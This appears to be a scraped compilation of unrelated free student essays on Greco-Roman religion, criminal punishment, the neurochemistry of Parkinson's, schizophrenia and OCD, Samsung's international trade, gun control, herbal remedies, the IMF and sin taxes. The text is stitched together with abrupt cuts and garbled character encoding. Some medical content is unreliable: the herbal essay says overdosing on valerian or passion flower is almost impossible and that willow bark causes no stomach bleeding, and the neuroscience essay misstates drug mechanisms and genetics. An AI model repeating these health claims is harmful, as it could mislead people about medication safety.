Judaism. Indeed, it is true that the several traditions that still continue today in Christianity are evocative of religious Jewish and Roman tradition. IV. Greek Gods (200 words) Greek gods were frequently w orshipped in the Greco-Roman Empire as well. Since the histories of both Greece and Rome are so intertwined, some of their religious traditions overlapped. According to Newsom and Ringe (1998)â€Å"Many cities honored one particular god or goddess as primary, such as the worship of Artemis at Ephesus, but also honored other deities as well. Judaism acknowledged only one deity, Yahweh, the God of Israel†¦

Ensure Justice and Equity Essay Example for Free

Ensure Justice and Equity Essay On the one hand, fixed punishment will have a deterring effect on society. â€â€"Individuals knowing that they will be subject to a certain punishment if they are convicted with a given crime will reconsider committing this act in the first place. â€â€"This deterring effect also leads to social stability and security, through minimizing the number of crimes committed. â€â€"If people knew they would be able to convince the court or the jury of reason for having committed the crime they are accused of, penal decisions would be largely arbitrary. This would result into criminals getting away with their crimes and into a high level of injustice caused by the subjective approach of different courts。 In my opinion an intermediary position between both solutions is the perfect way to establish and ensure justice and equity. There have to be fixed punishment for all crimes. However, criminal laws have to provide for a minimum and maximum for the punishment and the laws also have to foresee certain cases of exemptions. An example for setting minimum and maximum penalties is Competition Law where a person being held liable of a crime under this law will be convicted to pay a fine, according to the harm caused by the violation and the profit gained by the violator through committing the crime. As for the exemptions, in some countries the law exempts thieves stealing food during a period of famine taking into consideration the distress and hunger. Also, a person killing in self-defense will be exempted from punishment.

Psychological Basis Of Behavior Essay Example for Free

Psychological Basis Of Behavior Essay Until recently the causes of psychological disorders were not so clearly defined. Then advanced imaging techniques made it possible to see various areas of the brain and pinpoint areas that control behavior. It has been long known that the brain uses chemical messengers called neurotransmitters for signaling during its various processes. Advances in neuromedicine revealed that a lot of neurological and psychological disorders have a basis in imbalances between various neurotransmitters in the brain. Diseases like Parkinson’s, Schizophrenia and Obsessive-Compulsive Disorder are only a few where administering drugs that controlled levels of various neurotransmitters in the brain could control the disease symptoms and in some cases even provide a cure. Indeed, it was the discovery of these pharmacological agents that led to the discovery of newer agents that could control various neurological disorders by manipulating levels of neurotransmitters. Development of various drugs for schizophrenia was done on the basis of the fact that they had the ability to block dopamine receptors. In addition it was noticed that there was also an increased number of dopamine receptors present in these patients1. Similarly, in patients who suffered form Obsessive-compulsive disorder (OCD) an abnormality in the neurotransmitter serotonin was implicated and it was shown that drug therapy that did not affect 5-HT receptors was ineffective in the treatment of OCD6. Parkinson’s disease like schizophrenia also is due to an abnormality in dopamine levels but in Parkinson’s dopamine levels become depleted4. Parkinson’s disease is a movement disorder caused by the depletion of dopamine produced in the substantia nigra, a part of the brain that is responsible for voluntary movements of the body11. Parkinson’s disease is a neurodegenerative disease that affects 1% of the population. Its pathophysiology involves degeneration of substantia nigra. This portion is responsible for movements in the body. Various hypotheses have been proposed concerning the causes of the disease and include genetic factors, environmental factors and viruses. Amongst these genetic factors are considered the most important and mutations in various genes have been identified that are linked to Parkinson’s disease. Genes that have been implicated are PINK-1, DJ-1, and LRRK2 and it is thought that in addition to hereditary viruses and toxins are thought to cause theses mutations4. Parkinson’s disease is characterized by a fine pin-rolling tremor of the hands, rigidity, bradykinesia, an expressionless face called a mask like face and a parkinsonian gait characterized by small steps and reduced swing of the arms. Additional symptoms may be present and include difficulty in chewing and swallowing, depression, fatigue, dementia, speech problems, constipation, urinary problems and orthostatic hypotension7. Symptoms vary from patient to patient and can also have drastic emotional consequences for the patient. Diagnosis is often difficult as there are no tests available and is usually made on history and examination of the nervous system. Various treatment options are available and are mainly aimed at increasing the levels of dopamine in the brain. These include Levodopa, which is a precursor of dopamine and the nerve cells use synthesize dopamine. Other drugs like bromocriptine, apomorphine and pramipexole act by imitating the activity of dopamine4. There is no definitive cure for this disease and the treatment is only symptomatic. Adjuvant therapy may be given to relieve symptoms such as depression. Schizophrenia is another disorder that is caused by an imbalance between dopamine levels. The difference is that high levels of dopamine are found and the disease has mainly psychiatric manifestations. The cause of schizophrenia still remains unknown and this has been hampered largely by the different subtypes of the disease presenting a large variety of symptoms and involving different areas of the brain. It is also a feature of diseases like Alzheimer’s and Huntington’s disease9. Schizophrenia is characterized by auditory and visual hallucinations, delusions in which the patient thinks that his thoughts are being controlled externally and paranoid behavior believing someone is poisoning him, disorders of movement, cognitive dysfunction and emotional symptoms such as lack of interest in surroundings and social withdrawal2. Newer research has suggested that people with schizophrenia may experience an inability to smell certain items suggesting a disorder in the orbitofrontal region of the brain and surprisingly this sensory deficit has also been found in patients with Parkinson’s disease10. Other studies indicate that abnormalities in the amygdalia a region of the brain dealing with psychological processes may cause schizophrenia and other psychiatric disorders8. Though the cause is still doubtful it has been seen that schizophrenia runs in families thus suggesting a genetic factor. Environmental factors and trauma during birth have also been suggested as causative factors. In the past agents used to treat schizophrenia like chlorpromazine and haloperidol blocked both D1 and D2 receptors and caused extra pyramidal side effects2. But the newer agents like clozapine have a high affinity for D1 receptors and thus do not cause unwanted extrapyramidal side effects. Other agents that have fewer side effects are risperidone and olanzepine and are very effective in controlling symptoms. All of these agents act by reducing levels of dopamine in the brain thus enabling the control of symptoms. The genetic predisposition to schizophrenia is now widely known. Family history of mental ailments such as schizoaffective disorders, bipolar disorders and depression, are a very strong indication and predisposition to developing schizophrenia. However, complex researches in the pattern of schizophrenic disorders among monozygotic twins have not been able to establish the full authenticity of the claim. The scientists claim that schizophrenia has been associated with the â€Å"shy gene† or 5-HTT gene. Currently, having a schizophrenic geneticity is only the first link; further development is dependant on other factors as well. (Schizophrenia. com, 2007)12 Many claim that there exists a link between schizophrenia and the environment. This is based on the fact that increased risk of schizophrenia within families cannot be singly attributed to the cause of it alone. The environmental factors that are thought to play an important role in causing schizophrenia include psychosocial, biological and physical factors, which are in effect from birth till maturity. It is now claimed that the interaction of the genetic and the social or environmental factors are very important in the development of disease in schizophrenic patients. (Tsuang, 2001) Many of the environmental effects that come into play do so in preterm and in early childhood. The highest contribution seems to be the state of labor, for example, hypoxia, CNS damage RH incompatibility of the mother and child etc. Also, other prenatal factors may include maternal depression, bereavement and flood and famine. Rubella infections and infections of the CNS are also thought to play a very important role in the development of schizophrenia. Schizophrenia. com, 2007)12 Obsessive-compulsive disorder is another psychiatric disorder that has at its cause an imbalance between neurotransmitters. In this case the neurotransmitter is serotonin. The areas of the brain thought to be involved in this disorder are the basal ganglia and the frontal lobe6. People with OCD have obsessional thoughts and t he compulsion to carry out those thoughts repeatedly3. Patients often have an awareness of their abnormal thought patterns and are distressed by them but are unable to control them. Common symptoms are patients exhibiting rituals and having unwanted thoughts and behavior patterns. Patients may have unwanted thoughts of a fear of germs or hurting someone called an obsession and compulsions are the acts of carrying out those obsessional thoughts like repeatedly washing and cleaning or repeatedly counting or checking things over and over again3. Sometimes it manifests in conjunction with other psychiatric disorders like schizophrenia and depression. It often resolves when these disorders are treated. It has also been seen with diseases like Parkinson’s disease and Huntington’s chorea6. This disorder usually starts in adolescence and the patient is usually aware that he has some psychiatric ailment. The etiology is uncertain but Obsessive-compulsive disorder also has a genetic component. Though environmental factors are also a major cause, head trauma has also been implicated in certain cases6. Various treatment options are available including behavioral therapy. Drugs called selective serotonin reuptake inhibitors act by delaying the uptake of serotonin into the neuron and thus prolonging it’s action. This controls the deficiency of serotonin thought to be involved in causing obsessional symptoms. Drugs that are being used include fluoxetine, sertraline, fluvoxamine, paroxetine and clomipramine. Drug therapy used to treat other anxiety disorders is not effective in obsessive-compulsive disorder since it may not target the 5-HT receptors that are used by serotonin. Adams et al (2005)14 reported an up-regulation of serotonin receptors in caudate nuclei of OCD patients. Administration of SSRI drugs was tested in OCD patients. When untreated patients were compared with healthy normal individuals, it was found that cerebral 5-HT (2A) receptors binding were high in these patients. However, this difference was diminished when SSRI drug was administered to the patients. Different studies have reported that 5-HT reuptake inhibitors (SRIs) are most successful in treatment of OCD (Mansari Blier, 2006). This suggests serotonin depletion may be a vital cause of this disease. Normally, serotonin is actively involved in moderating flow of messages from orbital frontal cortex to thalamus via caudate nucleus. Various pharmacological studies have suggested 5-HT concentration in OFC is regulated by 5HT2 like receptors. SRI drugs modify 5-HT receptors regulation of serotonin and hence mostly used in treatment of OCD (Mansari Blier, 2006)15. Delgado and Moreno (1998)16 also reported that these drugs binding potency is related to hallucinogens. Pitterger et al (2006) reported that drugs that reduce elevated glutamate levels in brain might be effective in treatment of OCD. Pitterger et al (2006)17 suggested antiglutamatergic agent riluzole (Rilutek) play vital role in reducing glutamate hyperactivity in the cortico-striato-thalamo-cortical circuitry. Conclusion Overall a link has been found among various mental illnesses. This is evident by the fact that obsessive-compulsive disorder may be present in people who already have Schizophrenia or Parkinson’s disease. This overlap suggests that similar areas of the brain are involved in the etiology of these diseases and also that similar neurotransmitters may also be involved. Also interesting is the similarity in the deficiency in the sense of smell in both Parkinson’s and schizophrenia. As research progresses and advanced neuroimaging techniques become available it will become possible to interlink these diseases to one another. Special areas of interest may be the basal ganglia and the amygdalia as they are seen involved in a variety of neurological disorders. Parkinsons disease is a neurological disease, having a progressive nature. There are certain peculiar signs and symptoms that a Parkinson patient presents with; these include tremor, rigidity, akinesia or bradykinesia. Etiologically, Parkinsons disease is found in 1% of the population above 60 years of age. The ratio increases in people above 70 years of age. Although, also found in women, predominantly affects male gender. The role of environment in causing Parkinsonism is worth mentioning. Carbon mono-oxide and manganese, apart from certain pesticides play the major role in causing the disease. Parkinsonism among old aged people is idiopathic, but familial inheritance can be possible. A lot is not known about the role of genetics and inheritance of this disease, but occurrence in younger ages carries a higher probability of familial inheritance. It has been found that schizophrenia and Parkinson disease may share similarity by showing dysfunction of the prefrontal cortical areas of the brain. Also, both these conditions are the result or excess of deficiency of the levels of dopamine, which in turn dictates the treatment plan for such conditions. Similarly, patients suffering from Parkinson’s disease may show the presence of obsessive compulsive disorders, and the severity depends upon the length of the disease progression. The relation between these three conditions presenting in close relation with each other raise many questions about the progress of each disease, and whether treatments of each condition contain treatments for others as well. (Maia, 2003)13

International Trade Of Samsung Electronics Economics Essay

International Trade Of Samsung Electronics Economics Essay International diversification is very important for an international enterprise, it is a corporate strategy. It is designed by higher sales of new products and new markets, and increase profitability. Diversification can occur at the business unit level and corporate level. In this essay, we will focus on the advantages and disadvantages of international diversification for the company. At present, many companies are international based which developed their business to the different countries and regions, of course, they also facing a lot of risks and opportunities, in the following, I will analyze the advantages and disadvantages of exploring business internationally. This process involves different strategies. For the different sectors of the business, the different countries must be developed and implemented. The management of the high capacity of these strategies must be developed, the huge opportunity to enter new market of business regardless of the implementation of the big c hallenges and difficulties, cross-border diversification to attract the companys long-term growth, and growth in existing business on the market in other countries. Introduction International diversification is a basic and the most important principles in the business world. In the past decade, the impact of the value of corporate diversification has become the focus of attention of the research significantly. The vast majority of this article has focused the industry on this issue. Diversification is a strategy to increase profits for selling the new products in new markets of a corporate. In fact, all strategy has its advantages and disadvantages, one of the companys management staff will be used to achieve different purposes of these advantages and disadvantages. Diversifying internationally is a concept to enhance the value of the corporation, which is a source of foreign direct investment (FDI). Enterprises to invest overseas, the use of company assets transferred abroad, reached the economies of scale and the economies of scope. Through the operational flexibility associated with a multinational corporate system, value creation from international opera tions can also be created. Now a day, international environment is really uncertain, an internationally diversified network can gives the opportunity to the firm to exploit market conditions. Diversified corporate marketing, it can be used in a developed market, the establishment of new enterprises, so as to increase the profits of the company. Also, it can be used to diversify the investment of the companys assets, in order to prevent the downturn in the market of their country. There are two type of diversify, the first one is the internal development, through the internal expansion and diversification of production, creation of different products and brands. It can be achieve the perfect internal development. On the other hand is the external development, external expansion through acquisitions or strategic alliances to enhance the visibility of the enterprise in the global market, to expansion of profits and achieve the international standards. In the following, consumer electro nics giant Samsung Electronics is taken an example to illustrate the advantages and disadvantages of international diversification. Case study Samsung Electronics Consumer electronics giant Samsung Electronics is an international corporate, It is the flagship subsidiary of the Samsung Group. Samsung Electronics the largest electronics industry in South Korea, engaged in LCD, semiconductor, mobile phones, digital media business, it is the biggest sales of the electronics industry manufacturers in the worth. Inspire the World, Create the Future. is the vision of Samsung Electronics. In the mobile phone market, Samsung Electronics is the number one of the market share in the world, successfully beat a traditional mobile phone manufacturers such as: Nokia, Motorola, Sony. Sights on future market trends to the touch smartphone, Samsung also compete to launch the products corresponded to the competitors, such as Galaxy S2, to compare with the biggest competitor Apples Iphone. 3.1 International trade of Samsung Electronics International trade across borders the transactions of goods and services, general import and export trade, therefore, it also call import and export trade. International trade directly affect the gross domestic product (GDP), it is very important for many countries; it can adjust the economic structure of the country and increase the fiscal revenue. In order to reduce the production cost, Samsung Electronics using global procurement, they looking for the potential suppliers, is committed to enhance product development, corporate culture, and contributions to the global society. Samsung Electronics and Suppliers as well as the manufacturers can cooperate to make the best product. Global procurement not only can reduce the production cost, it also can enhance the productivity. Samsung Electronics has an absolute advantage  over another in producing a good in Korea and the other country. It can produce that good using fewer resources than another country. Samsung Electronics can enjoy the absolute advantage when they conduct the international trade. In additional, Samsung Electronics conducted international trade, which also produced of foreign direct investment (FDI), FDI is direct investment into production in a country by a company in another country, Samsung Electronics investment in China or the other country, the both count ries have brought some Advantages. Now, we can talk about what is the advantages and disadvantages of Samsung Electronics when the corporation diversifying internationally. Advantages of a corporation diversifying internationally Economic of scale Economic of scale is the expansion of production scale and increase the economic benefits. It is to reflect the relationship between the concentration factors of production and the economic benefits. Economies of scale help producers to lower their cost by producing large amount of output at lower costs. Samsung Electronics has realized economies of scale in semiconductor production. Semiconductor devices can perform a variety of control functions in electronic equipment, such as Samsung touch smartphone. Through the continuous improvement, Samsungs semiconductor production successfully extended the R D centers and production lines to China and other countries, and the products can sell around the world, via mass production to reduce the costs. This is the cost advantage The advantage of the economies of scale of Samsung: Can be achieve the harmonization and standardization of the products high quantity of raw materials, reduce the purchase cost Easily to control the quantity and quality of products Conducive to management and technician specialization and professionalization It can has strong competitiveness in the national market Economic of scope This is also a cost advantage to make the cost lower to produce a range of related products than to produce only one of the individual products on one company. A company can expand its range of products to take full advantage of the value of its existing capacity. Samsung produces various electronic products, such as LCD TV, LCD panel, semiconductor (DRAM, NAND Flash), mobile phones, digital cameras, LCD monitors, printers and other related electronic business, production of these products can use the same or similar of raw materials, for example ,produce the TV and the computer can use the same type of LCD screen, it can also be carried out in the same factory, and the workers all have same knowledge, produce different products to reach international diversification, fully to take the advantage of economies of scope. Spread the risk Diversifying internationally through acquisition or alliances can increase the market power of a corporation, to strengthen the competitiveness in the international market. At the same time, it can spread the risk of investment by avoid having all eggs in one basket. Enough reserve to respond to market decline. Samsung Electronics has acquired the related business companies, such as British semiconductor designer Cambridge Silicon Radio Ltd, merger with Seagate Technology (USA), its market forces continue to expand and greatly enhance the visibility and competitiveness. In addition, in order to diversify their investment and risk. Samsung Electronics set up their headquarters and plants all around the world. Learn from advanced technology If a corporate diversifying internationally, for example, which part of the products to their alliances company responsible for, it can learn the expertise and technology from the alliance. Samsung Electronics maintains good relationship with their partners, to learn advanced and unique technology in all of the production process, also, they hardly to study all of the knowledge and skills from the other country, such as the electronic technology from Taiwan and the scientific knowledge from USA. Learning knowledge from difference country can enhance the quality of staff, greatly to help the long-term development of the company. In addition, it also can enhance the core competitiveness of the corporation in the world. Experts of expertise When access a new market in other country, except to learn from advanced technology, Samsung Electronics also gain the experts of expertise, combine different professionals through merger and acquisition. For example, Samsung Electronics access to the advanced country, such as USA or UK, it can gain the experts in the locality, to understand their professional science and technology. In addition, Chinas population is more than 1.3 billion, it boasts to have larger human resources than other countries. As the increasing of population, China will have the greatest number of professionals. Low labors and resources cost Samsung Electronics can enjoy the cheap labors from their country and all developing country, for example, China has 1.3 billion people and widely of the labor force, compared with the pay of workers in other countries will be lower, so, to set up factories in China or merge with Chinese companies, it can enjoy the low-cost labors and production as well as the resources and the raw materials are also relatively cheap. In addition, the lands and rent are the most put in of the funds, China has well Infrastructure, now, it investing in the outsourcing industry. Like the city Chengdu are already planning to have a high-tech zone in areas that are spanning upwards of 1 million square meters. China has the cheaper lands and low rent for build up the factories, so Samsung Electronics can save more money on this part. Enhance competitive power Foreign competition can be encouraged to enhance the companys productivity. Doing business in the international market, the companies will continue to improve the quality of their products, in order to gain a market competitive advantage. The face of powerful competitor: Apple Store, Samsung Electronics continuous innovation and reform the products, for example, Samsung Electronics produce the smartphone , such as Galaxy S2, S3, Notes, to compare with the biggest competitor Iphone from Apple Store, in order to occupy a strong position and strengthen competitiveness in the world market. 3.3 Disadvantages of a corporation diversifying internationally Increased management costs and complexity Samsung Electronics realized International diversify may add complexity of the enterprise. Merger or alliances will make management costs rise, thereby increasing the cost of production abroad. To entry into the new market, the biggest barrier is the huge capital requirement, for the established of headquarters and factories, recruitment, procurement, management etc. In addition, it have more management challenges related to structural complexity with the new administrative structures, it may increase the information processing when access the new market in the global. Language problem Actually, the language barrier is a serious problem, the coordination, communications and motivation issues are very important when access to a new market. Samsung Electronics is an oversea company, when they wants to set up factories or headquarters in China or the other country, foreigners do not understand Korean, miscommunication may occur, affecting the companys operations. They need to recruit some language expert to solve the problem, also, they can recruit the translators or local agents to manage, but it will increase the management cost. Quality problem Globalization made enterprises want to be entry in the major countries globally. To response the growing need of competitiveness in the world, many enterprise want to outsourced some of the productions in China, in order to enjoy relatively cheap production cost, Samsung Electronics outsourced parts of its production to China like the battery and the case of Samsung smartphone, actually, China is still at its early stage of being in the outsourcing industry. the quality may not be guaranteed, especially in China, although China has labor resources stronger than the other country, but the low academic qualifications and lack of skills of the workers may be affected the quality of the product. However, it can be improved by training and the technology. Economic risk Economic risks, such as exchange rates, government regulation, decline in per capita gross domestic product (GDP), inflation and capital flight. In recent years, inflation in China is very serious, inflation reflects Samsung facing the business crisis, and company may need to save the manpower and raw materials, affecting the yield and quality of its products. In the current financial risk, Samsung Electronics encountered a serious impact on the global business, it has a lot of economic problems, such as inflation, rising unemployment, these factors will directly affect the business of Samsung Electronics. Cultural risk This is a risk, because you will not know whether there will be changes, before entering each country, Samsung Electronics must understand the culture of the country, such as peoples preferences, habits and the consumer behavior, it all arising from cultural differences. Western companies are lack of understanding of Chinese culture. There is also a perception of corruption and bureaucracy in China. Samsung Electronics is located in Korea, far away from China, geography and time differences may require staff to adapt their business practices. Political risk In fact, a lot of investors, businesses entering a new market are facing the risk of political risk. Political risks including systemic risk, procedural risk, distributive risk and catastrophic risk. Such as fiscal, monetary, trade, investment etc. Rather than the risk of market factors including industrial, income, labor and development, or related to political instability, such as terrorism, coups, civil war, riots, rebellion event. Samsung Electronics is also facing of these problems, China has just started with implementing rules on security and intellectual property rights, they are still considered to have poor protection. This becomes a problem especially when manufacturing of products are outsourced to their country. Political uncertainty may also bring unexpected costs, which can be substantial. In addition, in their own country, South Korea and North Korea is still having a problem, in a tense confrontation, it may conflict at any time, affecting the operation of the enterp rise. Exchange risk International trade may cause delays in payments, for example, Samsung Electronics sell the products to other country, it may delays in payments when the goods trade between the trading companies, also It has the foreign currency problem, such as RMB and HKD, the rate is difference from Korean, affecting the cash flow of the corporation. In addition, the exchange rate of foreign currency may not stable, exchange rate fluctuations and the inflation also are the existence risk. However, in recent years, RMB rising also is the significant risks faced by Samsung, deterred many of the intended development of foreign-funded enterprises in China. RMB appreciation, rising costs of labors, raw materials and lands, all is the currency and exchange risk factors. Market risk In different countries have different regulations and standards, the corporation need to comply with the new standard when access a new market. It may have some factors to change, in order to facilitate restructure of the company, it is necessary to training or retraining of the management, for example, in the production process, the input and packing, thereby generating additional costs. In order to access to USA market, Samsung Electronics are facing the big problem which is intellectual property of the biggest competitor Apple Store. Earlier, Apple sued Samsung and its Galaxy series smartphone copied the design of the iPhone smartphone, Samsung has the hefty fines to Apple Store, thereafter, Samsung sued again to U.S. International Trade Commission and complaint the Apple Store, referring to Apple guilty of Samsung patent such as 3G, wireless technology, prohibit Apple iPhone, iPad and iPod devices sold in the United States. Plagiarism and infringement of the war, Samsung and Appl e compete with each other; there is a certain degree of difficulty in entering the U.S. market. This is the risk of Samsung Electronics. Recommendations Samsung Electronics is a leading consumer electronics brand in the world, is committed to satisfy consumers need and reach the international standard, Samsung Electronics realized international diversification, Samsung Electronics only has the Authorized Partner shop in Hong Kong. To further enhance the customer services and the quality of products, it is recommend to build up the flagship store and more retail trader all around the world, it can be expansion the sales network and strengthen the market power. In addition, in order to prove the quality of products, it is recommend Samsung Electronics to make the adjustment of the warranty period of products. In addition, in order to solve inflation and the potential risk of China, it is recommended that the plant can move to the other place, such as Vietnam, this is a developing country, the price of raw materials and the cost of labors and lands are also cheaper than China. Conclusion Undeniable, international diversification is accurate flexible and efficient for Samsung Electronics. International diversification both have advantages and disadvantages, but relatively, the advantages outweighs the disadvantages, Samsung reached in economies of scale and economies of scope, due to their constant improvement and innovation, successful in the international electronics market accounted for an important position. However, Samsung Electronics are facing a lot of risks, such market risk and the exchange risk; many of the unknown factors exist. In the long run, Samsung must have a comprehensive plan to deal with these problems. Appendix http://wpcontent.answcdn.com/wikipedia/commons/thumb/3/38/Economies_of_scale.PNG/330px-Economies_of_scale.PNG (Figure 1) Economic of scale http://www.samsungmobileb2b.com/images/en/main/v2/featured_GalaxyS3.jpg (Figure 2) Samsung Galaxy S3 Its our business to make yours more productive. (Figure 3) Samsung products and slogan Samsung Flagship Store (Figure 4) Samsung flagship store in Singapore

Stop the Killing: Pass Gun Control Legislation Now Essay -- Argumentat

A study by the Center for Disease Control (CDC) found that the rate of firearm death of children 14 and under is nearly twelve times higher in the U.S. than in 25 other industrialized nations. When comparing the high U.S. gun murder rate to that of other nations, it is vital to realize that the U.S. is also unique in one other relevant way: lax gun ownership restrictions. Almost all industrialized nations have more stringent regulations on weapons possession than the United States, and not surprisingly, all of them have a lower murder rate. Many people are finally beginning to recognize the rather significant correlation between high firearm murder rates and high accessibility of guns. Although an overwhelming majority of Americans recognize the need for stricter gun control laws (including 80 percent polled in New Jersey this year), conflict still exists, especially in the world of politics. Many politicians still insist that gun control is not the answer to gun violence, echoing th e sentiments of Republican Presidential frontrunner George W. Bush, who blames recent firearm-related deaths not on guns but on "a wave of evil passing through America." What they must realize is that while there may be some "evil" involved, malevolent intentions are harmless in the absence of the sufficient means to execute them. Guns provide these means, and the results are unfortunately instantaneous and irreversible. Fact: In 1997 alone, 32,436 Americans were killed with firearms.   This is about 1,000 fewer than the number of Americans killed in the Korean War and more than half the number killed in Vietnam. Fact: In 1997, over 11 children and teens (ages 19 and under) were killed with guns each and every day in the U.S. Fact: Guns kept... ...antage of this opportunity have been few and weak, immeasurably affected by the money and lobbying of the socially irresponsible NRA. If Congresspersons either refused to submit to NRA pressures or passed stricter campaign finance rules, there is no limit to the progress that could be made. Background checks at gun shows would be only the beginning of the beginning. There could be a licensing system for all gun owners. There could be even stricter limits on who can own a gun. After all, 90 percent of adult murderers have a previous adult criminal record; how about preventing anyone with a criminal record from owning a gun? There is no limit to what can be done, but as for now, we are at a standstill. There are still many kinds of assault weapons for legal sale. It is up to us to do everything we can to force Congress to do what it was meant to do: serve the people.

Herbal Extracts And Hormones :: essays research papers fc

Herbal Extracts and Hormones   Ã‚  Ã‚  Ã‚  Ã‚  Herbs are found everywhere, and hormones are a natural product of everyone's body. The production of hormones increases and decreases with the age and development of the individual. Due to the nature of hormones and the ongoing research still being done, this article will investigate only two hormones that are in common use by the everyday person.   Ã‚  Ã‚  Ã‚  Ã‚  Herbs, on the other hand, can be found from California to China and as far as consumers are concerned, they are now mainstream products that can be found in supermarkets and drug stores world wide. Healing plants and herbs are used by over ninety percent of the world's people. Mowry, pgs.1-11 In the United States, with the introduction of herbal capsules and pills, people are enjoying the benefits of Earth's good medicines. The herb industry has been growing at about thirty percent per year for the past several years. Herbs are being used in homes, for more than just spicing the sauce or glazing the chicken. Herbs are being used as an alternative for medications as well. In the coming years, we may see the introduction of newer and better medicinal herbs as scientists Mowry pgs. 26-27 continue their search for the cures of all aches and pains.   Ã‚  Ã‚  Ã‚  Ã‚  In past years, herbs were used for pains and aches. These herbs are making a comeback because they have fewer side effects than regular medicine. An example is willow bark Mowry, pgs. 43-49 which is being used instead of aspirin. Aspirin was made from the active ingredient in willow bark. However, people are using willow bark instead of aspirin because it does not cause the stomach to bleed as aspirin does.   Ã‚  Ã‚  Ã‚  Ã‚  Ginkgo is being sold as a leading prescription drug in Germany and most countries in Europe. Takagi, pgs. 96-101 This herb is growing in usage in this country as more people age. It has been used in Asia for countless generations. There is a growing body of evidence, as research continues, that points to the outstanding effects of the Gingko tree on many age-related disorders or sicknesses. This herb is reported to increase the ability of the blood circulation system. It is a powerful medicine for the treatment of restoring of a person's memory. Tagki, pgs. 3-10   Ã‚  Ã‚  Ã‚  Ã‚  A tea made from the Passion Flower or Valerian Root is used to calm a person or relieve anxiety. These are thousand year old medicines used as tranquilizers. They have fewer side effects and don't damage the body as Valium or other man made tranquilizers. It is almost impossible to over dose on these types of nerve calmer.

International Monetary Fund (IMF) Essay -- IMF Economics Economy

International Monetary Fund (IMF) The international monetary fund or IMF, basically promotes international monetary harmony to simplify the expansion of international trade. In a more detailed view, it advocates global monetary understanding, monitors the exchange rate and financial policies of member nations, and provides credit for member countries that are experiencing a temporary unbalance of payments. Contrary to popular belief, It is not a world central bank which exists to help the economic development of poor, undeveloped countries, nor does it have any authority over its member’s domestic policies and regulations. It is a mutual establishment with voluntarily membership that enables its members to benefit from consultations with each other. This provides a stable environment for exchanging payments smoothly and quickly. Thus, the IMF greatly increases international trade, which, in effect, expands the world economy. How does this system work? Established by the United Nations at a conference held in 1944 at Bretton Woods, New Hampshire, the IMF seeks monetary stability. At that time, because of all the recessions and the Great depression, people all over the world were demanding gold, instead of the national currency, beyond what national treasuries could supply. Therefore, many nations were coerced into abandoning the gold standard, which had given money a known and stable value. Now that countries could not depend on the steady value of gold, exchanging money became very difficult between the nations using gold and those that did not. These complications caused many of these nations to sell their products at a cheaper rate (way below its realistic value) just to undermine the trade of other nations selling the same products. There wasn’t a high demand for foreign currencies that weren’t backed by gold; governments weren’t willing to take the chance on foreign currency and its current rates. This global turmoil caused the UN to create the IMF to help regulate the International trade. From the headquarters in Washington D.C., membership is open to all independent countries with a current membership of 181 nations. On joining the fund, members are assigned a quota (a sort of membership fee) in special drawing rights or SDR, the fund’s unit of account whose value is based on the average value of five major currencies. Each member’s ... ...roversial debate in Congress raises the question of whether taxpayer money should go to the increasing contributions to the IMF. However, without this much needed assistance from the IMF, the Asian crisis will worsen with eventual negative consequences for the U.S. economy because these Asian countries will not be able to buy American goods or must cut prices so that American firms would find it hard to compete in international markets. Also, this financial affliction of Asian countries can harm U.S. security interests in Asia, claims Secretary of State, Madeleine Albright. Therefore, this policy of helping out member countries, especially by the United States, is greatly appreciated and needed by many unstable countries. By overseeing the international monetary system, the International Monetary Fund creates a more sturdy and prosperous world economy. The IMF assists countries with economic problems and consults its members on improving economic policies. By improving the exchange rates between nations, the IMF promotes a sturdy and healthy universal trade. Therefore, The International Monetary Fund is the necessary tool that helps the global economy continue into the future.

Sin Taxes

Principles and Processes of Government Budgeting| Sin Taxes, Good or Bad? | An Examination of the Use of Sin Taxes in the United States| By: Stacy Madden4/27/2012 | Executive Summary Historically sin taxes have been an effective and efficient way for the government to raise revenue. The federal government used tariffs and consumption taxes to generate almost all of its revenue in the early years of our nation. The tax structure and philosophy has evolved and changed since the beginning of our nation, however the use of sin taxes has remained a good way for governments to raise revenues.Sin taxes no longer provide a significant portion of federal or state governments; however they do provide a consistent stream of revenue. This paper examines the use of sin taxes in the United States. First, the paper provides a basic understanding of sin taxes, current definition, and history. Next, the paper outlines the goods and services most commonly targeted by sin taxes and provides information about the effectiveness of these taxes to raise revenue and accomplish policy outcomes.Common goods and services targeted by sin taxes include; tobacco, alcohol, fuel, hazardous chemicals, gambling, prostitution, pornography, and unhealthy foods. Lastly, the paper will examine the ethical and moral implications of sin taxes from the perspective of those who support and oppose the use of sin taxes in the United States. Introduction Ben Franklin adequately stated the importance of taxes with his famous quote, â€Å"but in the world nothing can be said to be certain except death and taxes. Citizens have vested governments with the power to tax in order to provide services for the common good. There are many different ways for a government to tax its citizens in order to raise revenues, ranging from taxes on income, wealth, and property, to taxes on goods and services. The United States uses many of these taxes in varying levels to raise the needed funds to carry out government busine ss. Some taxes are generally accepted and uncontested, while others are highly politicized and hard for Americans to accept.Presently, the federal government relies on income taxes for the bulk of its revenue whereas states and localities rely more heavily on other forms of taxes to raise money for their functions. The primary function of taxes is to raise revenue for the government, however governments have used taxes to help spark social change, punish those who partake of certain goods and services, or regulate the consumption of specific goods and services. In these instances, taxes move from matters of revenue to issues of social policy, acting as mechanisms to force certain behaviors from citizens.More specifically, sin taxes have been used in the United States to help change behavior or regulate the consumption of goods and services deemed as sinful. In this paper, I will define sin taxes and outline the political meaning of â€Å"sin,† provide a brief history of sin t axes and their use, examine the most common forms of sin taxes in the United States, and lastly discuss the ethical and moral implication of utilizing sin taxes as a mechanism of social change. Sin Tax, a DefinitionBefore considering the implications of sin taxes and their influence on the behavior of Americans, it is important to define the term. Taxes, most generally, are levied by governments to raise revenue in order to conduct business in the public interest. The United States, utilizing a progressive income tax to raise the bulk of its revenue, possess a culture where citizens pay most of their taxes on time. (Mikesell 493) This system is not one that commonly uses taxes as a punishment, instead encouraging its citizens to pay their taxes for the common good and success of the nation as a whole.Noncompliance is low, and the government has even employed strategies to enhance payment, such as instruction and assistance. (Mikesell 494) Sin taxes, however, do not take this positiv e approach to raise revenue, instead, governments use their powers of taxation to punish behaviors when utilizing sin taxes. Most commonly, sin taxes are excise or consumption taxes that charge fees for guilty pleasures or human indulgence. Lorenzi, Sin Taxes 60) Sin taxes, therefore, are intended to encourage citizens to consume or use taxed items responsibly or discourage behavior associated with the consumption of taxed items. Goods or services generally taxed through sin tax policy have some common characteristics including inelastic demand, promote behavior that is harmful to the individual, and promote behavior that is harmful to others.Goods or services targeted by sin taxes have an inelastic demand because they are generally habitual, addictive, or highly pleasurable. Lorenzi, Sin Taxes 60) Further, these 